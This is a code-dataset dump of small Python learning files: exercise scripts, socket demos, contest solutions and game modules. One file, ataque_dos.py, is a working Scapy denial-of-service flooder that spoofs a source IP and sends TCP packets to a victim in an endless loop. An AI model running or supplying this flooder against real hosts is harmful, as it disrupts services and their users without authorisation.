blob_id
stringlengths
40
40
repo_name
stringlengths
5
127
path
stringlengths
2
523
length_bytes
int64
22
3.06M
score
float64
3.5
5.34
int_score
int64
4
5
text
stringlengths
22
3.06M
881b2cce11a176a01451bb19f208470f6798d9e2
manovidhi/python-the-hard-way
/ex5.py
420
3.78125
4
name = "Amit Sinha" age = 40 #real age height = 160 # in cm weight = 170 # in kg eyes = "black" color = "brown" print("lets talk about %r." % name) print("he is %s inch tall." % ( round(height/2.54, 2))) print("He is %r kg heavy." % weight) print("Ohh, He is too heavy") print("He is got %r eyes and %r color." % (eyes, color)) print("If I add %r, %r, and %r i will get %d" % (height, weight, age, height + weight + age))
4ed6cf981fd362e21ff59c9abbf24035f2e765a3
manovidhi/python-the-hard-way
/ex13.py
650
4.25
4
# we pass the arguments at the runtime here. we import argument to define it here. from sys import argv script, first, second, third = argv #print("this is script", argv.script) print( "The script is called:", script ) # this is what i learnt from hard way print ("Your first variable is:", first) print ("Your second variable is:", second) print ("Your third variable is:", third) age = input("put input your age]") print("your age is", age) # i put it to check input and argv difference #print("this is script", argv[0]) #this is from mihir #print("this is first", argv[1]) #print("this is 2nd", argv[2]) #print("this is third", argv[3])
85af7b903ced77cfddd9c5d8fedac47dc21bbe67
SlyCodePanda/AdvancedPython-Udemy
/SocketProgramming/FileServer.py
1,069
3.703125
4
import socket host = 'localhost' port = 8080 # Create socket using internet version 4 (socket.AF_INET), using a TCP connection (socket.SOCK_STREAM). # You can also pass nothing in the socket function and it will do the same thing. These are set by default. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Bind the socket to host and port number. s.bind((host, port)) # Listen for client request. We have set it so the server is only allowed to establish one connection. s.listen(1) print("The sever is listening for client request on port ", port) # Allow the server to accept client requests. connection, address = s.accept() print("Connection has been established from ", str(address)) # === Sending a file === try: fileName = connection.recv(1024) # Open file and read it in bytes. file = open(fileName, 'rb') readFile = file.read() # Send file. connection.send(readFile) # Close once sent. file.close() except: connection.send("Server Face couldn't find the file.".encode()) # Close connection. connection.close()
460d89bb752a57f2b19613fd12ac05ee947c6f5d
SlyCodePanda/AdvancedPython-Udemy
/SocketProgramming/Server.py
899
3.78125
4
import socket host = 'localhost' port = 8080 # Create socket using internet version 4 (socket.AF_INET), using a TCP connection (socket.SOCK_STREAM). # You can also pass nothing in the socket function and it will do the same thing. These are set by default. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Bind the socket to host and port number. s.bind((host, port)) # Listen for client request. We have set it so the server is only allowed to establish one connection. s.listen(1) print("The sever is listening for client request on port ", port) # Allow the server to accept client requests. connection, address = s.accept() print("Connection has been established from ", str(address)) # Message sent to client when connected. Converted into binary form using 'encode()' connection.send("Hello my name is Servo Server Face and I am the server".encode()) # Close connection. connection.close()
19ff95e26004878f007aeba1740e1967610dd4c4
SlyCodePanda/AdvancedPython-Udemy
/MagicFunctions/formatting_example.py
1,022
3.84375
4
# Converting to metres (m) class LengthConversion: value = {"mm": 0.001, "cm": 0.01, "m": 1, "km": 1000, "inch": 0.0254, "ft": 0.3048, "yd": 0.9144, "mi": 1609.344} def convertToMetres(self): return self.x * LengthConversion.value[self.valueUnit] def __init__(self, x, valueUnit="m"): self.x = x self.valueUnit = valueUnit # Add terms. def __add__(self, other): ans = self.convertToMetres() + other.convertToMetres() return LengthConversion(ans/LengthConversion.value[self.valueUnit], self.valueUnit) # Convert to string. def __str__(self): return str(self.convertToMetres()) # Evaluate the output in certain format (repr = representation) def __repr__(self): return "LengthConversion(" + str(self.x) + " , "+ self.valueUnit + ")" # Main function. if __name__ == '__main__': # Convert 5.5 yards into metres. obj1 = LengthConversion(5.5, "yd") + LengthConversion(1) print(repr(obj1)) print(obj1)
591396f0a8790e2e64bbd285bbd082cad1053e12
thebiwall/pythonpracticecode
/removeKfromList.py
294
3.65625
4
def removeKFromList(l, k): i = 0 j = 0 b = [] print(l) while i < len(l): if l[i] == k: b.append(i) i = i + 1 while j < len(b): del l[b[j]] j = j + 1 return l l = [3, 1, 2, 3, 4, 5] k = 3 removeKFromList(l, k)
8b642d1247ae703da0bf02c7eb464f8ce3efad4b
MustafaHaddara/google-code-jam-2021
/qual/moons.py
863
3.578125
4
def find_min_cost(x, y, s): # x = cost for CJ # y = cost for JC # we want to minimize flips cost = 0 prev = '' start = 0 for i in range(0, len(s)): if s[i] != '?': start = i prev = s[i] break for i in range(start+1, len(s)): current = s[i] if current == '?': continue if prev == current: continue # not equal if prev == 'C': # we found a CJ cost += x else: cost += y prev = current return cost if __name__ == "__main__": num_cases = int(input()) case_num = 1 while case_num <= num_cases: x, y, s = input().split(' ') cost = find_min_cost(int(x), int(y), s) print("Case #{}: {}".format(case_num, cost)) case_num += 1
d4acbec572bd02a4cda1c6a8d7da786ece8b3ae4
ArghyaDS/TestPy
/Basics/AssertPy.py
281
4
4
#AssertionError handling in simple operation div=int(input("Enter dividend: ")) divs=int(input("Enter divisor: ")) try: assert divs!=0, "You can not divide by zero" quo=div/divs print(f"Result: {quo}") except: print("You should not try to divide by zero")
6abc2703cad15b402398e5a795b761a5e5d8506a
nicolasmartinez1993/Python-hacking-multi-tool
/ataque_dos.py
715
3.53125
4
#!/usr/bin/env python # -*- coding: utf-8 -*- """"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" ATAQUE DOS """"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" from scapy.all import * src = raw_input("Introduce la IP atacante: ") victima = raw_input("Introduce la IP de la victima: ") puerto = raw_input("Introduce el puerto a atacar: ") numero_paquete = 1 while True: IP_ataque = IP(src=src,dst=victima) TCP_ataque = TCP(sport=int(puerto), dport=80) pkt = IP_ataque/TCP_ataque send(pkt,inter = .001) print ("Paquete enviado numero: ", numero_paquete) numero_paquete = numero_paquete + 1
fd4c8a3f8de296ae8df949979ffd8c3602b97369
wong2/PyOthello
/src/network.py
1,292
3.75
4
''' network.py This module defines class Server and Client. They are used in network games. ''' import socket, sys, os class Server: def __init__(self): self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) port = 5543 self.socket.bind(('', port)) self.socket.listen(1) def waitingForClient(self): (self.conn, addr) = self.socket.accept() self.cf = self.conn.makefile('rw', 0) return str(addr) def sendAndGet(self, row, col): self.cf.write(str((row, col))+'\n') x, y = eval(self.cf.readline()[:-1]) return (x, y) def close(self): print "I'm server, Bye!" self.conn.close() class Client: def __init__(self, host): self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) port = 5543 self.s.connect((host, port)) print 'connected to ' + host self.sf = self.s.makefile('rw', 0) def getFromServer(self): row, col = eval(self.sf.readline()[:-1]) return (row, col) def sendToServer(self, row, col): self.sf.write(str((row, col))+'\n') def close(self): self.sf.close() self.s.close() print "I'm client, bye!"
6e98b66fbafb140f34594dc5be52c9aa03ceca44
chaerui7967/K_Digital_Training
/Python_KD_basic/Module/module/calculator.py
269
3.75
4
#๊ณ„์‚ฐ๊ธฐ ํ•จ์ˆ˜ : add(x,y),sub(x,y),mul(x,y),div(x,y) def add(x,y): return x+y def sub(x,y): return x-y def mul(x,y): return x*y def div(x,y): return x/y print('123456789','-'*10) #__name__main()__ if __name__ == '__main__': print('calculator')
2b67bdd9e57a980076099105048e8f936a9adec4
chaerui7967/K_Digital_Training
/Python_KD_basic/HW/1_์ฑ„๊ธธํ˜ธ_0527_3.py
1,990
3.53125
4
#ํšŒ์›๋ช…๋‹จ์„ ์ž…๋ ฅ๋ฐ›์•„ ์ €์žฅ,์ถœ๋ ฅ,์ข…๋ฃŒ ํ”„๋กœ๊ทธ๋žจ ์ž‘์„ฑ def input_member(input_file): while True: inName = input('๋ฉค๋ฒ„๋ฅผ ์ž…๋ ฅํ•˜์„ธ์š”.(์ข…๋ฃŒ๋Š” q) : ') if inName.lower() == 'q': break else: with open(input_file, 'a', encoding='utf-8') as i: i.write(inName+'\n') print('์ €์žฅ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.') def output_member(output_file): with open(output_file, 'r', encoding='utf-8') as out: print(out.read()) def main(): while True: aa= input('์ €์žฅ 1, ์ถœ๋ ฅ 2, ์ข…๋ฃŒ q : ') if aa == '1': inputfile = input('๋ฉค๋ฒ„ ๋ช…๋‹จ์„ ์ €์žฅํ•  ํŒŒ์ผ๋ช…์„ ์ž…๋ ฅํ•˜์„ธ์š”. : ') input_member(inputfile) elif aa == '2': outputfile = input('๋ฉค๋ฒ„ ๋ช…๋‹จ์ด ์ €์žฅ๋œ ํŒŒ์ผ๋ช…์„ ์ž…๋ ฅํ•˜์„ธ์š”. :') output_member(outputfile) elif aa.lower() == 'q': break else: continue if __name__ == '__main__': main() # # ##๋‹ค๋ฅธ๋ฐฉ๋ฒ• # def input_member(inputFileName): # userList = list() # while True: # userInput = input("๋ฉค๋ฒ„๋ฅผ ์ž…๋ ฅํ•˜์„ธ์š”. (์ข…๋ฃŒ๋Š” q): ") # if userInput.lower() != 'q': # with open(inputFileName, 'a', encoding='utf-8') as f: # f.write(f"{userInput}\n") # else: # break # # # def output_member(outputFileName): # with open(outputFileName, 'r', encoding='utf-8') as f: memberList = f.readlines() # for line in memberList: print(line) # # # while True: # userInput = input("์ €์žฅ 1, ์ถœ๋ ฅ 2, ์ข…๋ฃŒ q: ") # if userInput == "1": # fileName = input("๋ฉค๋ฒ„ ๋ช…๋‹จ์„ ์ €์žฅํ•  ํŒŒ์ผ๋ช…์„ ์ž…๋ ฅํ•˜์„ธ์š”.: ") # input_member(fileName) # elif userInput == "2": # fileName = input("๋ฉค๋ฒ„ ๋ช…๋‹จ์ด ์ €์žฅ๋œ ํŒŒ์ผ๋ช…์„ ์ž…๋ ฅํ•˜์„ธ์š”.: ") # output_member(fileName) # elif userInput.lower() == "q": # break # else: # continue
a497471f2cd6acca5a95394afb05ee7e9e1cffc3
chaerui7967/K_Digital_Training
/Python_KD_basic/while/while_1.py
304
3.609375
4
#1~10 ์ •์ˆ˜ ์ถœ๋ ฅ a = 1 while a <= 10: print(a,end='\t') a += 1 #continue x=0 while x<10: x+=1 if x % 2 ==0: continue print(x) #๋ฌดํ•œ loop while True: print('๋ฐ˜๋ณต์‹œ์ž‘') answer = input('๋๋‚ด๋ ค๋ฉด x') if answer == 'x': break print('๋ฐ˜๋ณต์ข…๋ฃŒ')
c13c563831e0bb18f5ba7767b1b4eae6fb72013f
chaerui7967/K_Digital_Training
/Python_KD_basic/for/for_1.py
513
3.75
4
for name in ['ํ™๊ธธ๋™', '์ด๋ชฝ๋ฃก', '์„ฑ์ถ˜ํ–ฅ', '๋ณ€ํ•™๋„']: print(name) for i in range(0, 10): # [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] print(i, end="\t") # range(start[์‹œ์ž‘๊ฐ’,์ƒ๋žต๊ฐ€๋Šฅ ๊ธฐ๋ณธ 0], stop, ๊ฐ„๊ฒฉ) range(11)= 0~10 for i in range(10, 100, 20): print(i, end=", ") # 1~10 ์‚ฌ์ด ์ˆซ์žํ•ฉ sum = 0 for i in range(101): sum += i print("1 ~ 100 ํ•ฉ : %d" % sum) # 1~20 3์˜๋ฐฐ์ˆ˜ ์ถœ๋ ฅ ํ•ฉ๊ณ„ n=0 for i in range(3,20,3): n += i print(i, end="\t") print('ํ•ฉ๊ณ„ : %d' %n)
087631e0f764310b40cd2db61d102de65025e5c6
chaerui7967/K_Digital_Training
/Python_KD_basic/02_datatype/tye_conversion.py
248
3.828125
4
#ํƒ€์ž…๋ณ€ํ™˜ a=1234 print('๋‚˜์˜ ๋‚˜์ด๋Š” '+str(a)+'์ด๋‹ค!') num=input('์ˆซ์ž? ') print(int(num)+100) print(float(num)+100) print(int('123',8)) #8์ง„์ˆ˜ 123 print์‹œ 10์ง„์ˆ˜๋กœ ๋ณ€ํ™˜๋˜์„œ ์ถœ๋ ฅ print(int('123',16)) print(int('111',2))
4693ddf9763efa81badf356343831b203f436d0a
chaerui7967/K_Digital_Training
/Python_KD_basic/14_module/module3/gbbGame.py
856
3.71875
4
#gbb game from random import randint def gbb_game(you_n): com_n = randint(1,3) if com_n-you_n ==1 or com_n-you_n ==-2: result = 1 #1์ธ๊ฒฝ์šฐ com win elif com_n-you_n == 0: result = 2 #2์ธ๊ฒฝ์šฐ ๋น„๊น€ elif you_n>3 or you_n<0: print('๋‹ค์‹œ์ž…๋ ฅ') return else: result = 3 #3์ธ๊ฒฝ์šฐ my win return result,com_n def input_num(): while True: my_n = int(input('YOU ์ž…๋ ฅ (1:๊ฐ€์œ„, 2:๋ฐ”์œ„, 3:๋ณด) : ')) if my_n>3 or my_n<0: print('๋‹ค์‹œ์ž…๋ ฅ') continue else: break result,com_n = gbb_game(my_n) if result ==1: print(f'์ปดํ“จํ„ฐ๊ฐ€ ์ด๊ฒผ์Šต๋‹ˆ๋‹ค.\nCOM : {com_n}') elif result == 2: print(f'๋น„๊ฒผ์Šต๋‹ˆ๋‹ค.\nCOM : {com_n}') else: print(f'๋‹น์‹ ์ด ์ด๊ฒผ์Šต๋‹ˆ๋‹ค.\nCOM : {com_n}')
1ad2cd819e2b9ca0e38435955fdea7a29211eb75
chaerui7967/K_Digital_Training
/Python_KD_basic/List/list_3.py
277
4.3125
4
#๋ฆฌ์ŠคํŠธ ๋‚ด์šฉ ์ผ์น˜ list1 = [1,2,3] list2 = [1,2,3] # == , !=, <, > print(list1 == list2) # 2์ฐจ์› ๋ฆฌ์ŠคํŠธ list3 = [[1,2,3],[4,5,6],[7,8,9]] #ํ–‰๋ ฌ ํ˜•์‹์œผ๋กœ ์ถœ๋ ฅ for i in list3: print(i) for i in list3: for j in i: print(j, end="") print()
f4865aa087e05df368a73af8c17105bc4854e6d0
chaerui7967/K_Digital_Training
/Python_KD_basic/if/condition.py
297
3.875
4
#ํ‚ค๋ณด๋“œ๋กœ ์ž…๋ ฅ๋ฐ›์€ ์ •์ˆ˜๊ฐ€ ์ง์ˆ˜ ์ธ์ง€ ์•„๋‹Œ์ง€ ํ™•์ธ aa= int(input("์ •์ˆ˜ ์ž…๋ ฅ : ")) bb= aa%2 cc= bb!=1 print('์ง์ˆ˜?'+str(cc)) #์กฐ๊ฑด๋ฌธ if elif else if(aa % 2 == 0): print('์ง์ˆ˜') else: print('ํ™€์ˆ˜') #pass ์•„๋ฌด๊ฒƒ๋„ ์ˆ˜ํ–‰ํ•˜์ง€ ์•Š์Œ #๋ฐ˜๋ณต๋ฌธ for, while
c01b4306131f6fa4bd8a59f7b68ec758e2b16a5c
quynguyen2303/python_programming_introduction_to_computer_science
/Chapter5/wordLength.py
708
4.40625
4
# Average Words Length # wordLength.py # Get a sentence, remove the trailing spaces. # Count the length of a sentence. # Count the number of words. # Calculate the spaces = the number of words - 1 # The average = (the length - the spaces) / the number of words def main(): # Introduction print('The program calculates the average length of words in a sentence.') # Get a sentence sentence = input('Enter a sentence: ').rstrip() # Seperate it into words words = sentence.split() # Calculate the average length of words average = (len(sentence) - (len(words) - 1)) / len(words) # Rule them all print('Your average length of words is {0:.2f}.'.format(average)) main()
2afa7c968a716fcca6cdb879880091093f1d22fc
quynguyen2303/python_programming_introduction_to_computer_science
/Chapter11/sidewalk.py
510
4.125
4
# sidewalk.py from random import randrange def main(): print('This program simulates random walk inside a side walk') n = int(input('How long is the side walk? ')) squares = [0]*n results = doTheWalk(squares) print(squares) def doTheWalk(squares): # Random walk inside the Sidewalk n = len(squares) pos = n // 2 while pos >= 0 and pos < n: squares[pos] += 1 x = randrange(-1,2,2) pos += x return squares if __name__ == '__main__': main()
6a4583c2981af50718518b39db6859cc5154952f
quynguyen2303/python_programming_introduction_to_computer_science
/Chapter11/removeDup.py
174
3.5625
4
# removeDup.py def main(aList): newList = [] for i in range(len(aList)): if aList[i] not in newList: newList.append(aList[i]) return newList
f4e6850526192481d46c2e8cff4d0c667d7622bd
quynguyen2303/python_programming_introduction_to_computer_science
/Chapter11/stats.py
862
3.90625
4
# stats.py from math import sqrt def main(): print('This program computes mean, median and standard deviations.') data = getNumbers() xbar = mean(data) std = stdDev(data, xbar) med = median(data) print('\nThe mean is', xbar) print('The standard deviaton is', std) print('The median is', med) def mean(nums): sums = 0.0 for num in data: sums += num return sums / len(data) def stdDev(nums: sumDevSq = 0.0 xbar = mean(nums) for num in data: dev = num - xbar sumDevSq += dev * dev return sqrt(sumDevSq / (len(data) - 1)) def median(nums): data.sort() size = len(data) midPos = size // 2 if size % 2 == 0: median = (data[midPos] + data[midPos - 1]) / 2.0 else: median = data[midPos] return median if __name__ == '__main__': main()
9afa0ebe9146bd1996081846c0b594423653a84f
quynguyen2303/python_programming_introduction_to_computer_science
/Chapter11/cardSort.py
2,461
3.96875
4
# cardSort.py # Group cards by suits and sort by rank def main(): print('This program sorts a list of cards by rank and suit') filename = input('Enter a file name: ') listOfCards = sortCards(filename) score = checkScore(listOfCards) print(score) def sortCards(filename): infile = open(filename, 'r') listOfCards = [] for line in infile: rank, suit = line.split() listOfCards.append((rank, suit)) listOfCards.sort() listOfCards.sort(key=sortSuit) return listOfCards def sortSuit(aTuple): return aTuple[1] def checkScore(listOfCards): # List of card names names = ['Ace', 'Two', 'Three', 'Four', 'Five', 'Six', 'Seven', 'Eight', 'Nine', 'Ten', 'Jack', 'Queen', 'King'] # Create 2 list, ranks & suits ranks = list(int(card[0]) for card in listOfCards) ranks.sort() suits = list(card[1] for card in listOfCards) # Create rank count list, counts = [0]*13 counts = [0]*13 print(ranks, suits) # Counts in ranks list for i in ranks: counts[i - 1] += 1 print(counts) # Check suit in 5 cards # if they are same suit if suits[0] == suits[4]: # check if they are Royal Fulsh, counts[0] = counts[9] = . = counts[12] if counts[0] == counts[9] == counts[10] == counts[11] == counts[12]: score = 'Royal Flush' # or Straight Flush, ranks[4] - ranks[0] = 4 elif ranks[4] - ranks[0] == 4: score = 'Straight Flush' # or Flush else: score = 'Flush' # else else: # check they are Four of a Kind, if 4 in counts if 4 in counts: score = 'Four of a Kind' # or 3 in counts and 2 in counts elif 3 in counts and 2 in counts: score = 'Full House' # or 3 in counts elif 3 in counts: score = 'Three of a Kind' # or count(counts(2)) == 2 elif counts.count(2) == 2: score = 'Two of Pairs' # or 2 in counts elif 2 in counts: score = 'A Pair' # or ranks[4] - ranks[0] = 4 or counts[0] = counts[9] = ...= counts[12] elif (ranks[4] - ranks[0] == 4) or ( counts[0] == counts[9] == counts[10] == counts[11] == counts[12]): score = 'Straight' # else: ranks[4] else: score = names[ranks[4] - 1] + ' Hight' return score if __name__ == '__main__': main()
393e027c2e80d8a2ca901ef0104ac59c6887770d
quynguyen2303/python_programming_introduction_to_computer_science
/Chapter3/distance.py
467
4.21875
4
# Distance Calculation # distance.py import math def main(): # Instruction print('The program calculates the distance between two points.') # Get two points x1, y1, x2, y2 = eval(input('Enter two points x1, y1, x2, y2:'\ '(separate by commas) ')) # Calculate the distance distance = math.sqrt((y2 - y1) ** 2 + (x2 - x1) ** 2) # Rule them all print('The distance is {0:.2f}.'.format(distance)) main()
ca66d5fae8f505075ecd044b6e5931935caac234
quynguyen2303/python_programming_introduction_to_computer_science
/Chapter4/archery.py
755
3.828125
4
# Archery Target # archery.py from graphics import * def main(): # Instruction print('The program draws a archery target.') # Draw a graphics window win = GraphWin('Archery Window', 400, 400) # Draw the circle from out to inside blue = Circle(Point(200, 200), 100) blue.setFill('blue') red = Circle(Point(200, 200), 75) red.setFill('red') green = Circle(Point(200, 200), 50) green.setFill('green') yellow = Circle(Point(200, 200), 25) yellow.setFill('yellow') blue.draw(win) red.draw(win) green.draw(win) yellow.draw(win) # Print Text to close text = Text(Point(200, 350), 'Click to close') text.draw(win) # Rule them all win.getMouse() win.close() main()
0a2723e8901b90d51b3944dda5e52940f5631c85
quynguyen2303/python_programming_introduction_to_computer_science
/Chapter3/fibonacci.py
396
4.09375
4
# Fibonacci # fibonacci.py def main(): # Instruction print('The program calculates Fibonacci number.') # Get the n number n = eval(input('How many numbers do you want?(>2) ')) # Calculate fibonacci f1 = 1 f2 = 1 for i in range(2, n): fibo = f1 + f2 f1 = f2 f2 = fibo # Rule them all print('Your Fibonacci number is', fibo) main()
5be7c7b7aa9bf5e2d666fee28bf26eaad9766840
quynguyen2303/python_programming_introduction_to_computer_science
/Chapter4/studentScore.py
1,258
4
4
# Draw Student Scores Bar # studentScore.py from graphics import * def main(): # Instruction print('The program draws the bar chart with Student Name and') print('Score in horizontal.') # Get Input from a file fileName = input('Give the file name: ') inFile = open(fileName, 'r') # First line is a total number of student total = 0 total = eval(inFile.readline()) # Draw a window, set coordinates with 150 horizontal, total + 2 vertical win = GraphWin('Student\'s Scores', 400, 400) win.setCoords(0, 0, 150, total+2) # Sequence lines is LastName Score(0-100) format y = 1 for line in inFile: # Separate lastName and score lastName = line.split()[0] score = eval(line.split()[1]) # Draw the lastName from bottom up # Stat at Point(10, 1), each student increase in vertical by 1 x = 10 name = Text(Point(x, y + 0.1), lastName) name._reconfig('justify', 'left') name.draw(win) # Draw the score by a Rectangle with (40, 1) (40 + score, 2) bar = Rectangle(Point(40, y), Point(40 + score, y + 0.2)).draw(win) bar.setFill('blue') y += 1 # Rule them all win.getMouse() win.close() main()
2133dc25dcb652326883afe21d3a6f3a9c8c0837
quynguyen2303/python_programming_introduction_to_computer_science
/Chapter5/caesar.py
1,529
4
4
# Caesar Cipher # caesar.py # A-Z: 65-90 # a-z: 97-122, the difference is 32 # For upper case: (num + key) % 91 + (num + key) // 91 * 65 # For lower case: (num + key) % 123 + (num + key) // 123 * 97 # For both: (num + key) % (91 + num // 97 * 32) + # (num + key) // (91 + num // 97 * 32) * (65 + num // 97 * 32) def main(): # Introduction print('The program encrypts a message by Caesar cipher.') # Get a origin file name & the encrypt file name infileName = input('Enter the origin file name: ') outfileName = input('Where do we put the secret message: ') # Open 2 files infile = open(infileName, 'r') outfile = open(outfileName, 'w') # Read the infile line by line for line in infile: # Get a message and a key, seperate by a dot. lines = line.split('.') message = lines[0] key = eval(lines[1]) # Seperate the message into words words = message.split() # Create an encrypt message encrypt = '' # Encode the message word by word for word in words: for i in word: num = ord(i) numEncode = (num + key) % (91 + num // 97 * 32) + \ (num + key) // (91 + num // 97 * 32) * \ (65 + num // 97 * 32) encrypt = encrypt + chr(numEncode) encrypt = encrypt + " " # Rule them all print('{0}'.format(encrypt), file = outfile) infile.close() outfile.close() main()
bd874c01e0597151bb1b8383b00b254277436772
quynguyen2303/python_programming_introduction_to_computer_science
/Chapter11/gpasort.py
2,441
3.53125
4
# gpasort.py from graphics import * from gpa import Student, makeStudent from button import Button def main(): win = GraphWin('Students Sort', 400, 400) win.setCoords(0, 0, 4, 5) input1, input2, bList = drawInterface(win) while True: p = win.getMouse() for b in bList: if b.clicked(p): label = b.getLabel() if label != 'Quit': students = readStudents(input1.getText()) listOfTuples = toTuples(students) listOfTuples.sort() students = toStudents(listOfTuples) writeStudents(students, input2.getText()) Text(Point(2, 2.5), 'Done').draw(win) else: win.close() def toStudents(listOfTuples): students = [] for t in listOfTuples: students.append(t[1]) print(students) return students def toTuples(students): # Return a list of tuples with Student object and GPA value listOfTuples = [] for s in students: t = (s.gpa(), s) listOfTuples.append(t) return listOfTuples def drawInterface(win): text1 = Text(Point(1,4), 'Enter the data file name: ') text2 = Text(Point(1,2), 'Enter a file name to write: ') input1 = Entry(Point(1,3), 20) input2 = Entry(Point(1,1), 20) text1.draw(win) text2.draw(win) input1.draw(win) input2.draw(win) bList = createButtons(win) return input1, input2, bList def createButtons(win): bNames = ['Quit', 'Name Sort', 'Credits Sort', 'GPA Sort'] bList = [] for i in range(4): b = Button(win, Point(3, i+1), .75, .5, bNames[i]) b.activate() bList.append(b) return bList def readStudents(filename): infile = open(filename, 'r') students = [] for line in infile: students.append(makeStudent(line)) infile.close() return students def keySort(key): if key == 'Name Sort': return Student.getName elif key == 'Credits Sort': return Student.getQPoints elif key == 'GPA Sort': return Student.gpa else: return 'None' def writeStudents(students, filename): outfile = open(filename, 'w') for s in students: print('{0}\t{1}\t{2}'.format(s.getName(), s.getHours(), s.getQPoints()), file=outfile) outfile.close() if __name__ == '__main__': main()
39c742637396b520ad65097e4a6ac7fc92b16af4
quynguyen2303/python_programming_introduction_to_computer_science
/Chapter8/syracuse.py
447
4.125
4
# syracuse.py # Return a sequence of Syracuse number def main(): # Introduction print('The program returns a sequence of Syracuse number from the first input.') # Get the input x = int(input('Enter your number: ')) # Loop until it comes to 1 while x != 1: if x % 2 == 0: x = x // 2 else: x = 3 * x + 1 print(x, end=', ') if __name__ == '__main__': main()
5dd5876363aa431cb73871182406d6da8cef8503
MakeRafa/CS10-poetry_slam
/main.py
1,376
4.25
4
# This is a new python file # random library import random filename = "poem.txt" # gets the filename poem.txt and moves it here def get_file_lines(filename): read_poem = open(filename, 'r') # reads the poem.txt file return read_poem.readlines() def lines_printed_backwards(lines_list): lines_list = lines_list[::-1] #this reverses a line for line in lines_list: #this is used in every function afterwards to pick poem lines print(line) print("*************************************************************************") print("Backwords Poem") lines_printed_backwards(get_file_lines(filename)) # calling the function to be able to print print("*************************************************************************") def lines_printed_random(lines_list): random.shuffle(lines_list) #mixes lines in random order for line in lines_list: print(line) print("Random Line Poem") lines_printed_random(get_file_lines(filename)) print("*************************************************************************") print("Every 5th line Poem") # def lines_printed_custom(): with open('poem.txt') as fifth: for num, line in enumerate(fifth): if num%5 == 0: #chooses every fifth line starting at the first one print(line) print("*************************************************************************")
fdbb84be2145f66814f4b429ffa18319356184f4
samfishman/crimsononline-assignments
/assignment1/question5.py
380
3.765625
4
from pprint import pprint class HashableList(list): def __hash__(self): return hash(tuple(self[i] for i in range(0, len(self)))) #==TEST CODE== arr = HashableList([1, 2, 3]) it = {} it[arr] = 7 it[HashableList([1, 5])] = 3 print "it[HashableList([1, 5])] => ", pprint(it[HashableList([1, 5])]) print "it[HashableList([1, 2, 3])] => ", pprint(it[HashableList([1, 2, 3])])
0ecc954c08459398a9c3900e3bef55260f986e15
BriskYunus/yunus_b_shahfazlollahi_n_FIP
/assets/traa_graphs/TRAA_data_viz_rainbow_eggs.py
1,206
3.609375
4
import numpy as np import matplotlib.pyplot as plt N = 5 eggs_received = (100000, 150000, 100000, 50000, 150000) year = (2014, 2015, 2016, 2017, 2018) ind = np.arange(N) # the x locations for the groups width = 0.35 # the width of the bars fig, ax = plt.subplots() rects1 = ax.bar(ind, eggs_received, width, color='r', yerr=year) eggs_hatched = (80000, 120000, 90000, 40000, 140000) year = (2014, 2015, 2016, 2017, 2018) rects2 = ax.bar(ind + width, eggs_hatched, width, color='y', yerr=year) # add some text for labels, title and axes ticks ax.set_ylabel('Value (thousands)') ax.set_title('Rainbow Trout Received and Hatched') ax.set_xticks(ind + width / 2) ax.set_xticklabels(('2014', '2015', '2016', '2017', '2018')) ax.legend((rects1[0], rects2[0]), ('Received Eggs', 'Hatched Eggs')) ax.legend = 'left' def autolabel(rects): """ Attach a text label above each bar displaying its height """ for rect in rects: height = rect.get_height() ax.text(rect.get_x() + rect.get_width()/2., 1*height, '%d' % int(height), ha='left', va='bottom') autolabel(rects1) autolabel(rects2) plt.show()
7cd321c3e25afc95416c31a9868cfe4d1a0d53fb
millmill/scrabblegame
/Dictionary.py
980
3.703125
4
class Dictionary: def __init__(self): self.dictionary = {} with open("./dictionaries/english_words_94k.txt", "rb") as eng_words: for word in eng_words: try: self.dictionary[word.decode("utf-8").strip()] = True except UnicodeDecodeError: pass # if not UTF-8 characters in source file # Will be build from supplied text file which contains # large number of words. # Can be enquired for specific word and it will return # if its valid word or not. def check_word(self, word): # It will check existence of the word in the dictionary. return word.lower() in self.dictionary def main(): dic = Dictionary() print("'car' in dictionary: ", dic.checkWord("car")) print("'xlfsldjdgjf' in dictionary: ", dic.checkWord("xlfsldjdgjf")) if __name__ == "__main__": main()
f91cb3f042204645f5bc28f8ac2e87d52c61841f
iluxonchik/webscraping-with-python-book
/Chapter_6/csv.py
350
3.59375
4
from urllib.request import urlopen from io import StringIO import csv data = urlopen("http://pythonscraping.com/files/MontyPythonAlbums.csv").read().decode("ascii", "ignore") dataFile = StringIO(data) # treat sring as a file csvReader = csv.reader(dataFile) for row in csvReader: print("The album is: " + row[0] + " and the year is: " + row[1])
6bc7a09f1f0b9ae19e3c8c00140e57aa02843bfc
priyankakushi/pythonLearnning
/function1.py
1,536
4.03125
4
# create a function # def MyFunction(): # print("hello from function") # # Calling a Function # MyFunction() # passing parameters # def myFunction1(fname,): # print("Hello",fname) # myFunction1("Rani") # # return value # def myFunction2(num): # return 4 * num # x=myFunction2(5) # print(x) #def printMsg(): #print("hello website") #calling function #printMsg() # def printName(Name): # print("my name is"+Name) # #calling function # printName("Priyanka") # printName("Soni") # def nameHobby(name, Hobby): # print("my name is"+name +"and my Hobby is" +Hobby) # #calling my function # nameHobby("prinyanka","damce") # def add(v1,v2): # print(v1+v2) # #calling my function # add(10+12) #def Welcome(): #print("welcome in python function") #call function #Welcome() #def sq(x): #print("x**2") #call a function #sq(4) #def sq(x): #print(x**3) #call a function #sq(5) #sq(8) #sq(2) # def name(priyanka): # print(name) # #call # name(name) # def power(x,y): # print(x**y) # #call # power(5,2) # # def myfun(): # return 1,2,3 # a,b,c=myfun() # print('a=',a) # print('b=',b) # print('c=',c) def sq(z): print(z**2) #call sq(3) sq(5) #def name(): #print('hello',priyanka) #name() #firstName = "Priyanka" #lastName = "Kumari" def myFunctionName(firstName, lastName): print("My Name is", firstName, lastName) #myFunctionName(firstName, lastName)
a4e8145ae4241ebde9e9a4240647fd280cac1110
ujjwalll/Codeforces
/HQ9.py
116
3.734375
4
b = input() count = 0 k = 0 for i in b: if i == "H" or i == "Q" or i == "9": print("YES") exit() print("NO")
b9fbe6a2e8791ccbb9b4315aef33bd97fd1aa8a5
jiakechong1991/search
/query_correct/utils/common.py
3,597
